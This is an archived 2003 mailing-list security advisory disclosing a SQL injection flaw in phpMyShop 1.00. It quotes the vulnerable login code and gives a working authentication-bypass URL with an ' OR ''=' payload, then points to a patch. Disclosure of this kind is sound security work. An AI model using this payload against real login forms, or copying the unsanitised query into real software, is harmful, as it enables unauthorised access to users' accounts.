phpMyShop (php)

From: Frog Man (leseulfrogat_private)
Date: Sun Feb 02 2003 - 23:47:51 PST

  • Next message: Frog Man: "myphpPagetool (php)"

    Informations :
    °°°°°°°°°°°°°°
    Version : 1.00
    Website : http://www.pc-encheres.com
    Problem : SQL Injection
    
    
    PHP Code/Location :
    °°°°°°°°°°°°°°°°°°°
    compte.php :
    ---------------------------------------------------------------
    <?
    session_start();
    
    if (isset($achat))
    {
    session_register("achat");
    }
    else
    {
    header("location:index.php");
    }
    
    include("design/header.php");
    require("config.php");
    require("fonction.php");
    
    echo"<td bgcolor=\"$barre1\"><font color=\"$police3\" 
    size=\"$width_police2\"><strong>Identification</strong></font></td>
      </tr>
      <tr>
        <td><br>";
    
    if (isset($valider))
    {
    $sql = "SELECT id_cli,login_cli,pass_cli FROM $table_client where 
    login_cli='$identifiant' and pass_cli='$password'";
    $sql = mysql_db_query($base,$sql);
    $test = mysql_num_rows($sql);
    if ($test=="0")
    {
    ?>
    <script language="javascript">
    alert("Identifiant ou mot de passe non valide!");
    </script>
    <?
    echo"<center><strong>Identifiant ou mot de passe non 
    valide!</strong></center><br>";
    }
    else
    {
    $id_membre = mysql_result($sql,0,"id_cli");
    session_register("id_membre");
    ?>
    <script language="javascript">
    document.location.href="valide.php"
    </script>
    <?
    }
    }
    
    [...]
    ---------------------------------------------------------------
    
    
    
    Exploit :
    °°°°°°°°°
    http://[target]/compte.php?achat=1&valider=1&identifiant='%20OR%20''='&password='%20OR%20''='
    
    
    Solution :
    °°°°°°°°°°
    A patch has been published on http://www.phpsecure.info .
    
    
    
    More details :
    °°°°°°°°°°°°°°
    In French :
    http://www.frog-man.org/tutos/phpmyshop.txt
    Translated by Google :
    http://translate.google.com/translate?u=http%3A%2F%2Fwww.frog-man.org%2Ftutos%2Fphpmyshop.txt&langpair=fr%7Cen&hl=en&ie=ISO-8859-1&prev=%2Flanguage_tools
    
    
    
    frog-m@n
    
    
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    This archive was generated by hypermail 2b30 : Mon Feb 03 2003 - 08:14:27 PST